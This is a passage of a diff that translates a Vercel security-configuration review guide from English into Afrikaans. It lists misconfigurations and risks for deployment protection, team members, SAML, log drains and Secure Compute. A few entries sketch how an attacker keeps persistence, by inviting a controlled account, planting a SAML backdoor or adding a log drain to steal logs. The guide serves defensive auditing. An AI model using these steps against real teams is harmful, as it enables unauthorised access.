**Misconfigurasie:** Voorafgaande sensitiewe veranderlikes met `NEXT_PUBLIC_`, wat hulle op die kliëntkant toeganklik maak. +- **Risiko:** Blootstelling van API sleutels, databasis akrediteer, of ander sensitiewe data aan die publiek, wat kan lei tot datalekke. +- **Sensitiewe gedeaktiveer** +- **Misconfigurasie:** As gedeaktiveer (standaard) is dit moontlik om die waardes van die gegenereerde geheime te lees. +- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting. +- **Gedeelde Omgewing Veranderlikes** +- **Misconfigurasie:** Dit is omgewing veranderlikes wat op Span vlak gestel is en kan ook sensitiewe inligting bevat. +- **Risiko:** Verhoogde waarskynlikheid van toevallige blootstelling of ongeoorloofde toegang tot sensitiewe inligting. --- ### Git -**Purpose:** Konfigureer Git-repository integrasies, tak beskermings, en ontplooiing triggers. +**Doel:** Konfigureer Git-repo integrasies, tak beskermings, en ontplooiing triggers. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Ignored Build Step (TODO)** -- **Misconfiguration:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/opdragte te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat. -- **Risk:** TBD +- **Ignorerende Bou Stap (TODO)** +- **Misconfigurasie:** Dit lyk of hierdie opsie toelaat om 'n bash skrip/kommando's te konfigureer wat uitgevoer sal word wanneer 'n nuwe verbintenis in Github gepush word, wat RCE kan toelaat. +- **Risiko:** TBD --- -### Integrations +### Integrasies -**Purpose:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter. +**Doel:** Koppel derdeparty dienste en gereedskap om projek funksionaliteit te verbeter. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Insecure Third-Party Integrations** -- **Misconfiguration:** Integrasie met onbetroubare of onveilige derdeparty dienste. -- **Risk:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies. -- **Over-Permissioned Integrations** -- **Misconfiguration:** Te veel toestemmings aan geïntegreerde dienste toeken. -- **Risk:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings. -- **Lack of Integration Monitoring** -- **Misconfiguration:** Versuim om derdeparty integrasies te monitor en te oudit. -- **Risk:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog. +- **Onveilige Derdeparty Integrasies** +- **Misconfigurasie:** Integrasie met onbetroubare of onveilige derdeparty dienste. +- **Risiko:** Invoering van kwesbaarhede, datalekke, of agterdeure deur gekompromitteerde integrasies. +- **Oor-Toestemming Integrasies** +- **Misconfigurasie:** Toekenning van oortollige toestemmings aan geïntegreerde dienste. +- **Risiko:** Ongeoorloofde toegang tot projek hulpbronne, data manipulasie, of diensonderbrekings. +- **Gebrek aan Integrasie Monitering** +- **Misconfigurasie:** Versuim om derdeparty integrasies te monitor en te oudit. +- **Risiko:** Vertraagde opsporing van gekompromitteerde integrasies, wat die potensiële impak van sekuriteitsbreuke verhoog. --- -### Deployment Protection +### Ontplooiing Beskerming -**Purpose:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen. +**Doel:** Beveilig ontplooiings deur verskeie beskermingsmeganismes, wat beheer wie toegang kan hê en ontplooiing na jou omgewings kan doen. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -**Vercel Authentication** +**Vercel Verifikasie** -- **Misconfiguration:** Deaktiveer autentisering of nie afdwing van spanlid kontroles nie. -- **Risk:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat tot datalekke of toepassingsmisbruik kan lei. +- **Misconfigurasie:** Deaktiveer verifikasie of nie afdwing van spanlid kontroles nie. +- **Risiko:** Ongeoorloofde gebruikers kan toegang tot ontplooiings verkry, wat kan lei tot datalekke of aansoek misbruik. -**Protection Bypass for Automation** +**Beskerming Bypass vir Automatisering** -- **Misconfiguration:** Blootstelling van die omseil geheime publiek of gebruik van swak geheime. -- **Risk:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings verkry. +- **Misconfigurasie:** Blootstelling van die bypass geheim publiek of gebruik van swak geheime. +- **Risiko:** Aanvallers kan ontplooiing beskermings omseil, toegang tot en manipulasie van beskermde ontplooiings. -**Shareable Links** +**Deelbare Skakels** -- **Misconfiguration:** Deel skakels sonder onderskeid of versuim om verouderde skakels in te trek. -- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat autentisering en IP-beperkings omseil. +- **Misconfigurasie:** Deel skakels onverskillig of versuim om verouderde skakels te herroep. +- **Risiko:** Ongeoorloofde toegang tot beskermde ontplooiings, wat verifikasie en IP beperkings omseil. -**OPTIONS Allowlist** +**OPTIONS Toegestaanlys** -- **Misconfiguration:** Laat te breë paaie of sensitiewe eindpunte toe. -- **Risk:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles om te se. +- **Misconfigurasie:** Toegestaanlys oor-brede paaie of sensitiewe eindpunte. +- **Risiko:** Aanvallers kan onbeskermde paaie benut om ongeoorloofde aksies uit te voer of sekuriteitskontroles te omseil. -**Password Protection** +**Wagwoord Beskerming** -- **Misconfiguration:** Gebruik van swak wagwoorde of om dit onveilig te deel. -- **Risk:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word. -- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand. +- **Misconfigurasie:** Gebruik van swak wagwoorde of om dit onveilig te deel. +- **Risiko:** Ongeoorloofde toegang tot ontplooiings as wagwoorde geraai of gelekt word. +- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand. -**Deployment Protection Exceptions** +**Ontplooiing Beskerming Uitsonderings** -- **Misconfiguration:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys. -- **Risk:** Blootstelling van kritieke ontplooiings aan die publiek, wat tot datalekke of ongeoorloofde toegang kan lei. -- **Note:** Beskikbaar op die **Pro** plan as deel van **Advanced Deployment Protection** vir 'n addisionele $150/maand. +- **Misconfigurasie:** Voeg produksie of sensitiewe domeine per ongeluk by die uitsonderingslys. +- **Risiko:** Blootstelling van kritieke ontplooiings aan die publiek, wat kan lei tot datalekke of ongeoorloofde toegang. +- **Nota:** Beskikbaar op die **Pro** plan as deel van **Gevorderde Ontplooiing Beskerming** vir 'n addisionele $150/maand. -**Trusted IPs** +**Betroubare IP's** -- **Misconfiguration:** Onakkuraat spesifisering van IP adresse of CIDR reekse. -- **Risk:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IPs wat toegang verkry. -- **Note:** Beskikbaar op die **Enterprise** plan. +- **Misconfigurasie:** Onkorrek spesifisering van IP adresse of CIDR reekse. +- **Risiko:** Legitieme gebruikers wat geblokkeer word of ongeoorloofde IP's wat toegang verkry. +- **Nota:** Beskikbaar op die **Enterprise** plan. --- -### Functions +### Funksies -**Purpose:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide. +**Doel:** Konfigureer serverless funksies, insluitend runtime instellings, geheue toewysing, en sekuriteitsbeleide. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Nothing** +- **Niks** --- ### Data Cache -**Purpose:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer. +**Doel:** Bestuur caching strategieë en instellings om prestasie te optimaliseer en data berging te beheer. -#### Security Configurations: +#### Sekuriteitskonfigurasies: - **Purge Cache** -- **Misconfiguration:** Dit laat toe om al die cache te verwyder. -- **Risk:** Ongeoorloofde gebruikers wat die cache verwyder, wat tot 'n potensiële DoS kan lei. +- **Misconfigurasie:** Dit laat toe om al die cache te verwyder. +- **Risiko:** Ongeoorloofde gebruikers wat die cache verwyder wat kan lei tot 'n potensiële DoS. --- ### Cron Jobs -**Purpose:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop. +**Doel:** Skeduleer geoutomatiseerde take en skripte om op spesifieke tydperke te loop. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Disable Cron Job** -- **Misconfiguration:** Dit laat toe om cron jobs wat in die kode verklaar is, te deaktiveer. -- **Risk:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was) +- **Deaktiveer Cron Job** +- **Misconfigurasie:** Dit laat toe om cron jobs wat in die kode verklaar is te deaktiveer. +- **Risiko:** Potensiële onderbreking van die diens (afhangende van waarvoor die cron jobs bedoel was) --- ### Log Drains -**Purpose:** Konfigureer eksterne logging dienste om toepassingslogs te vang en te stoor vir monitering en oudit. +**Doel:** Konfigureer eksterne logging dienste om aansoek logs te vang en te stoor vir monitering en oudit. -#### Security Configurations: +#### Sekuriteitskonfigurasies: - Niks (bestuur vanaf spaninstellings) --- -### Security +### Sekuriteit -**Purpose:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed. +**Doel:** Sentraal hub vir verskeie sekuriteitsverwante instellings wat projek toegang, bron beskerming, en meer beïnvloed. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -**Build Logs and Source Protection** +**Bou Logs en Bron Beskerming** -- **Misconfiguration:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek. -- **Risk:** Ongeoorloofde toegang tot boulogs en bronkode, wat tot inligtinglekke en potensiële uitbuiting van kwesbaarhede kan lei. +- **Misconfigurasie:** Deaktiveer beskerming of blootstelling van `/logs` en `/src` paaie publiek. +- **Risiko:** Ongeoorloofde toegang tot bou logs en bronkode, wat kan lei tot inligting lekke en potensiële uitbuiting van kwesbaarhede. -**Git Fork Protection** +**Git Fork Beskerming** -- **Misconfiguration:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings. -- **Risk:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring. +- **Misconfigurasie:** Laat ongeoorloofde pull versoeke toe sonder behoorlike hersienings. +- **Risiko:** Kwaadwillige kode kan in die kodebasis saamgevoeg word, wat kwesbaarhede of agterdeure inbring. -**Secure Backend Access with OIDC Federation** +**Veilige Agtergrond Toegang met OIDC Federasie** -- **Misconfiguration:** Onakkurate opstelling van OIDC parameters of gebruik van onveilige issuer URL's. -- **Risk:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige autentisering vloei. +- **Misconfigurasie:** Onkorrek opstel van OIDC parameters of gebruik van onveilige issuer URL's. +- **Risiko:** Ongeoorloofde toegang tot agtergrond dienste deur gebrekkige verifikasievloei. -**Deployment Retention Policy** +**Ontplooiing Bewaringsbeleid** -- **Misconfiguration:** Stel retensieperiodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data retensie). -- **Risk:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van datablootstelling van ou ontplooiings. +- **Misconfigurasie:** Stel bewaring periodes te kort (verlies van ontplooiing geskiedenis) of te lank (onnodige data bewaring). +- **Risiko:** Onvermoë om terug te rol wanneer nodig of verhoogde risiko van data blootstelling van ou ontplooiings. -**Recently Deleted Deployments** +**Onlangs Verwyderde Ontplooiings** -- **Misconfiguration:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings vertrou nie. -- **Risk:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik. +- **Misconfigurasie:** Nie monitering van verwyderde ontplooiings of slegs op outomatiese verwyderings staatmaak nie. +- **Risiko:** Verlies van kritieke ontplooiing geskiedenis, wat oudit en terugrols bemoeilik. --- -### Advanced +### Gevorderd -**Purpose:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit. +**Doel:** Toegang tot addisionele projekinstellings vir fyninstelling van konfigurasies en verbetering van sekuriteit. -#### Security Configurations: +#### Sekuriteitskonfigurasies: -**Directory Listing** +**Gidslys** -- **Misconfiguration:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer. -- **Risk:** Blootstelling van sensitiewe lêers, toepassingsstruktuur, en potensiële toegangspunte vir aanvalle. +- **Misconfigurasie:** Aktivering van gidslys laat gebruikers toe om gidsinhoud te sien sonder 'n indekslêer. +- **Risiko:** Blootstelling van sensitiewe lêers, aansoekstruktuur, en potensiële toegangspunte vir aanvalle. --- -## Project Firewall +## Projek Vuurmuur -### Firewall +### Vuurmuur -#### Security Configurations: +#### Sekuriteitskonfigurasies: -**Enable Attack Challenge Mode** +**Aktiveer Aanval Uitdaag Modus** -- **Misconfiguration:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid. -- **Risk:** Potensiële gebruikerservaring probleme. +- **Misconfigurasie:** Aktivering hiervan verbeter die verdediging van die webtoepassing teen DoS, maar ten koste van bruikbaarheid. +- **Risiko:** Potensiële gebruikerservaring probleme. -### Custom Rules & IP Blocking +### Pasgemaakte Reëls & IP Blokkering -- **Misconfiguration:** Laat toe om verkeer te ontbloek/blokkeer. -- **Risk:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer. +- **Misconfigurasie:** Laat toe om verkeer te ontblokkeer/blokkeer. +- **Risiko:** Potensiële DoS wat kwaadwillige verkeer toelaat of goedaardige verkeer blokkeer. --- -## Project Deployment +## Projek Ontplooiing -### Source +### Bron -- **Misconfiguration:** Laat toegang toe om die volledige bronkode van die toepassing te lees. -- **Risk:** Potensiële blootstelling van sensitiewe inligting. +- **Misconfigurasie:** Laat toegang toe om die volledige bronkode van die aansoek te lees. +- **Risiko:** Potensiële blootstelling van sensitiewe inligting. -### Skew Protection +### Skew Beskerming -- **Misconfiguration:** Hierdie beskerming verseker dat die kliënt en bediener toepassing altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en daarom verstaan hulle mekaar nie. -- **Risk:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak. +- **Misconfigurasie:** Hierdie beskerming verseker dat die kliënt en bediener aansoek altyd dieselfde weergawe gebruik sodat daar geen desynchronisasies is waar die kliënt 'n ander weergawe as die bediener gebruik nie en hulle dus nie mekaar verstaan nie. +- **Risiko:** Deaktivering hiervan (as geaktiveer) kan DoS probleme in nuwe ontplooiings in die toekoms veroorsaak. --- -## Team Settings +## Span Instellings -### General +### Algemeen -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Transfer** -- **Misconfiguration:** Laat toe om al die projekte na 'n ander span oor te dra. -- **Risk:** 'n Aanvaller kan die projekte steel. -- **Delete Project** -- **Misconfiguration:** Laat toe om die span met al die projekte te verwyder. -- **Risk:** Verwyder die projekte. +- **Oordrag** +- **Misconfigurasie:** Laat toe om al die projekte na 'n ander span oor te dra. +- **Risiko:** 'n Aanvaller kan die projekte steel. +- **Verwyder Projek** +- **Misconfigurasie:** Laat toe om die span met al die projekte te verwyder. +- **Risiko:** Verwyder die projekte. --- -### Billing +### Fakturering -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Speed Insights Cost Limit** -- **Misconfiguration:** 'n Aanvaller kan hierdie nommer verhoog. -- **Risk:** Verhoogde koste. +- **Spoed Inligting Koste Limiet** +- **Misconfigurasie:** 'n Aanvaller kan hierdie nommer verhoog. +- **Risiko:** Verhoogde koste. --- -### Members +### Lede -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Add members** -- **Misconfiguration:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer, uit te nooi. -- **Risk:** Aanvaller volharding. -- **Roles** -- **Misconfiguration:** Te veel toestemmings aan mense wat dit nie nodig het nie, verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) -- **Risk**: Verhoog die blootstelling van die Vercel Span. +- **Voeg lede by** +- **Misconfigurasie:** 'n Aanvaller kan volharding handhaaf deur 'n rekening wat hy beheer uit te nooi. +- **Risiko:** Aanvaller volharding. +- **Rolle** +- **Misconfigurasie:** Toekenning van te veel toestemmings aan mense wat dit nie nodig het nie verhoog die risiko van die Vercel konfigurasie. Kontroleer al die moontlike rolle in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles). +- **Risiko**: Verhoog die blootstelling van die Vercel Span. --- -### Access Groups +### Toegangsgroepe -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +'n **Toegangsgroep** in Vercel is 'n versameling van projekte en spanlede met vooraf gedefinieerde roltoewysings, wat sentraliseerde en gestroomlynde toegang bestuur oor verskeie projekte moontlik maak. -**Potential Misconfigurations:** +**Potensiële Misconfigurasies:** -- **Over-Permissioning Members:** Toeken van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies. -- **Improper Role Assignments:** Onakkurate toekenning van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak. -- **Lack of Project Segregation:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is. -- **Insufficient Group Management:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings. -- **Inconsistent Role Definitions:** Gebruik van inkonsekwente of onduidelike rol definisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe. +- **Oor-Toestemming Lede:** Toekenning van rolle met meer toestemmings as wat nodig is, wat lei tot ongeoorloofde toegang of aksies. +- **Onbehoorlike Roltoewysings:** Onkorrek toewys van rolle wat nie ooreenstem met spanlede se verantwoordelikhede nie, wat privilige eskalasie veroorsaak. +- **Gebrek aan Projek Segregasie:** Versuim om sensitiewe projekte te skei, wat breër toegang toelaat as wat bedoel is. +- **Onvoldoende Groep Bestuur:** Nie gereeld hersiening of opdatering van Toegangsgroepe nie, wat lei tot verouderde of onvanpaste toegangstoestemmings. +- **Inkonsekwente Roldefinisies:** Gebruik van inkonsekwente of onduidelike roldefinisies oor verskillende Toegangsgroepe, wat lei tot verwarring en sekuriteitsgappe. --- ### Log Drains -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Log Drains to third parties:** -- **Misconfiguration:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel. -- **Risk:** Gedeeltelike volharding. +- **Log Drains na derde partye:** +- **Misconfigurasie:** 'n Aanvaller kan 'n Log Drain konfigureer om die logs te steel. +- **Risiko:** Gedeeltelike volharding. --- -### Security & Privacy +### Sekuriteit & Privaatheid -#### Security Configurations: +#### Sekuriteitskonfigurasies: -- **Team Email Domain:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard. -- **Misconfiguration:** +- **Span E-pos Domein:** Wanneer geconfigureer, nooi hierdie instelling outomaties Vercel Persoonlike Rekeninge met e-pos adresse wat eindig op die gespesifiseerde domein (bv. `mydomain.com`) is om jou span te sluit by registrasie en op die dashboard. +- **Misconfigurasie:**\ - Spesifisering van die verkeerde e-pos domein of 'n verkeerd gespelde domein in die Span E-pos Domein instelling. - Gebruik van 'n algemene e-pos domein (bv. `gmail.com`, `hotmail.com`) in plaas van 'n maatskappy-spesifieke domein. -- **Risks:** -- **Unauthorized Access:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit. -- **Data Exposure:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue. -- **Protected Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te voorkom dat ander Vercel spanne repositories van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee. -- **Misconfiguration:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie. -- **Risks:** -- **Unauthorized Deployments:** Ander spanne mag repositories van jou organisasie se Git scopes sonder toestemming ontplooi. -- **Intellectual Property Exposure:** Beskermde kode kan ontplooi en buite jou span toeganklik wees. -- **Environment Variable Policies:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek, jy kan afdwing dat alle omgewing veranderlikes geskep word as **Sensitive Environment Variables**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word. -- **Misconfiguration:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer. -- **Risks:** -- **Exposure of Secrets:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word. -- **Data Breach:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word. -- **Audit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Ouudit logs help om aksies wat deur spanlede uitgevoer is, te monitor en op te spoor. -- **Misconfiguration:**\ +- **Risiko's:** +- **Ongeoorloofde Toegang:** Gebruikers met e-pos adresse van onbedoelde domeine mag uitnodigings ontvang om by jou span aan te sluit. +- **Data Blootstelling:** Potensiële blootstelling van sensitiewe projekinligting aan ongeoorloofde individue. +- **Beskermde Git Scopes:** Laat jou toe om tot 5 Git scopes aan jou span toe te voeg om te verhoed dat ander Vercel spanne repositoriums van die beskermde omvang ontplooi. Meerdere spanne kan dieselfde omvang spesifiseer, wat beide spanne toegang gee. +- **Misconfigurasie:** Nie kritieke Git scopes aan die beskermde lys toe te voeg nie. +- **Risiko's:** +- **Ongeoorloofde Ontplooiings:** Ander spanne mag repositoriums van jou organisasie se Git scopes sonder toestemming ontplooi. +- **Intellektuele Eiendom Blootstelling:** Beskermde kode kan ontplooi en buite jou span toeganklik wees. +- **Omgewing Veranderlike Beleide:** Handhaaf beleide vir die skepping en redigering van die span se omgewing veranderlikes. Spesifiek kan jy afdwing dat alle omgewing veranderlikes geskep word as **Sensitiewe Omgewing Veranderlikes**, wat slegs deur Vercel se ontplooiingstelsel gedekodeer kan word. +- **Misconfigurasie:** Hou die afdwinging van sensitiewe omgewing veranderlikes gedeaktiveer. +- **Risiko's:** +- **Blootstelling van Geheime:** Omgewing veranderlikes mag deur ongeoorloofde spanlede gesien of gewysig word. +- **Data Lek:** Sensitiewe inligting soos API sleutels en akrediteer kan gelekt word. +- **Oudit Log:** Verskaf 'n uitvoer van die span se aktiwiteit vir tot die laaste 90 dae. Oudit logs help om aksies wat deur spanlede uitgevoer is te monitor en op te spoor. +- **Misconfigurasie:**\ Gee toegang tot oudit logs aan ongeoorloofde spanlede. -- **Risks:** -- **Privacy Violations:** Blootstelling van sensitiewe gebruikersaktiwiteite en data. -- **Tampering with Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek. -- **SAML Single Sign-On:** Laat aanpassing van SAML autentisering en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir gesentraliseerde autentisering en gebruikersbestuur moontlik maak. -- **Misconfiguration:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entity ID, SSO URL, of sertifikaat vingerafdrukke op te stel. -- **Risk:** Handhaaf volharding. -- **IP Address Visibility:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectie wette beskou kan word, in Monitering navrae en Log Drains vertoon word. -- **Misconfiguration:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid. -- **Risks:** -- **Privacy Violations:** Nie-nakoming van dataprotectie regulasies soos GDPR. -- **Legal Repercussions:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data. -- **IP Blocking:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer. Geblokkeerde versoeke dra nie by tot jou fakturering nie. -- **Misconfiguration:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer. -- **Risks:** -- **Service Denial to Legitimate Users:** Blokkeer toegang vir geldige gebruikers of vennote. -- **Operational Disruptions:** Verlies van diens beskikbaarheid vir sekere streke of kliënte. +- **Risiko's:** +- **Privaatheid Oortredings:** Blootstelling van sensitiewe gebruikersaktiwiteite en data. +- **Manipulasie van Logs:** Kwaadwillige akteurs kan logs verander of verwyder om hul spore te bedek. +- **SAML Enkel Teken Aan:** Laat aanpassing van SAML verifikasie en gids sinkronisering vir jou span toe, wat integrasie met 'n Identiteitsverskaffer (IdP) vir sentraliseerde verifikasie en gebruikersbestuur moontlik maak. +- **Misconfigurasie:** 'n Aanvaller kan 'n agterdeur in die Span instel deur SAML parameters soos Entiteit ID, SSO URL, of sertifikaat vingerafdrukke op te stel. +- **Risiko:** Handhaaf volharding. +- **IP Adres Sigbaarheid:** Beheer of IP adresse, wat as persoonlike inligting onder sekere dataprotectiewette beskou kan word, in Monitering navrae en Log Drains vertoon word. +- **Misconfigurasie:** Laat IP adres sigbaarheid geaktiveer sonder noodsaaklikheid. +- **Risiko's:** +- **Privaatheid Oortredings:** Nie-nakoming van dataprotectiewetgewing soos GDPR. +- **Regshandelinge:** Potensiële boetes en sanksies vir verkeerde hantering van persoonlike data. +- **IP Blokkering:** Laat die konfigurasie van IP adresse en CIDR reekse toe wat Vercel moet blokkeer versoeke van. Geblokkeerde versoeke dra nie by tot jou fakturering nie. +- **Misconfigurasie:** Kan deur 'n aanvaller misbruik word om kwaadwillige verkeer toe te laat of legitieme verkeer te blokkeer. +- **Risiko's:** +- **Diens Ontkenning aan Legitieme Gebruikers:** Blokkering van toegang vir geldige gebruikers of vennote. +- **Operasionele Onderbrekings:** Verlies van diens beskikbaarheid vir sekere streke of kliënte. --- -### Secure Compute +### Veilige Rekenaarkomputasie -**Vercel Secure Compute** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasisse) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter. +**Vercel Veilige Rekenaarkomputasie** stel veilige, private verbindings tussen Vercel Funksies en agtergrond omgewings (bv. databasis) in deur geïsoleerde netwerke met toegewyde IP adresse te vestig. Dit elimineer die behoefte om agtergrond dienste publiek bloot te stel, wat sekuriteit, nakoming, en privaatheid verbeter. -#### **Potential Misconfigurations and Risks** +#### **Potensiële Misconfigurasies en Risiko's** -1. **Incorrect AWS Region Selection** -- **Misconfiguration:** Kies 'n AWS streek vir die Secure Compute netwerk wat nie ooreenstem met die agtergrond dienste se streek nie. -- **Risk:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verswakte prestasie. -2. **Overlapping CIDR Blocks** -- **Misconfiguration:** Kies CIDR blokke wat oorvleuel met bestaande VPCs of ander netwerke. -- **Risk:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke. -3. **Improper VPC Peering Configuration** -- **Misconfiguration:** Onakkurate opstelling van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings). -- **Risk:** Ongeoorloofde toegang tot agtergrond infrastruktuur, mislukte veilige verbindings, en potensiële datalekke. -4. **Excessive Project Assignments** -- **Misconfiguration:** Toeken van meerdere projekte aan 'n enkele Secure Compute netwerk sonder behoorlike isolasie. -- **Risk:** Gedeelde IP blootstelling verhoog die aanval oppervlak, wat moontlik gekompromitteerde projekte toelaat om ander te beïnvloed. -5. **Inadequate IP Address Management** -- **Misconfiguration:** Versuim om toegewyde IP adresse behoorlik te bestuur of te roteer. -- **Risk:** IP spoofing, opsporing kwesbaarhede, en potensiële swartlys as IP's geassosieer word met kwaadwillige aktiwiteite. -6. **Including Build Containers Unnecessarily** -- **Misconfiguration:** Voeg bouhouers by die Secure Compute netwerk wanneer agtergrond toegang nie tydens boue benodig word nie. -- **Risk:** Verhoogde aanval oppervlak, verhoogde voorsieningsvertraagings, en onnodige verbruik van netwerk hulpbronne. -7. **Failure to Securely Handle Bypass Secrets** -- **Misconfiguration:** Blootstelling of verkeerde hantering van geheime wat gebruik word om ontplooiing beskermings te omseil. -- **Risk:** Ongeoorloofde toegang tot beskermde ontplooiings, wat aanvallers toelaat om kwaadwillige kode te manipuleer of te ontplooi. -8. **Ignoring Region Failover Configurations** -- **Misconfiguration:** Nie passiewe failover streke op te stel of failover instellings verkeerd te konfigureer nie. -- **Risk:** Diens stilstand tydens primêre streek uitvalle, wat lei tot verminderde beskikbaarheid en potensiële datainkonsekwentheid. -9. **Exceeding VPC Peering Connection Limits** -- **Misconfiguration:** Poging om meer VPC peering verbindings te vestig as die toegelate limiet (bv. meer as 50 verbindings). -- **Risk:** Onvermoë om nodige agtergrond dienste veilig te verbind, wat ontplooiing mislukkings en operasionele onderbrekings veroorsaak. -10. **Insecure Network Settings** -- **Misconfiguration:** Swak firewall reëls, gebrek aan versleuteling, of onvanpaste netwerk segmentasie binne die Secure Compute netwerk. -- **Risk:** Data afluistering, ongeoorloofde toegang tot agtergrond dienste, en verhoogde kwesbaarheid vir aanvalle. +1. **Onkorrekte AWS Streek Keuse** +- **Misconfigurasie:** Kies 'n AWS streek vir die Veilige Rekenaarkomputasie netwerk wat nie ooreenstem met die agtergrond dienste se streek nie. +- **Risiko:** Verhoogde latensie, potensiële data verblyf nakoming probleme, en verslechterde prestasie. +2. **Oorvleueling CIDR Blokke** +- **Misconfigurasie:** Kies CIDR blokke wat oorvleuel met bestaande VPC's of ander netwerke. +- **Risiko:** Netwerk konflikte wat lei tot mislukte verbindings, ongeoorloofde toegang, of datalekke tussen netwerke. +3. **Onbehoorlike VPC Peering Konfigurasie** +- **Misconfigurasie:** Onkorrek opstel van VPC peering (bv. verkeerde VPC ID's, onvolledige roete tabel opdaterings). +- **Risiko:** 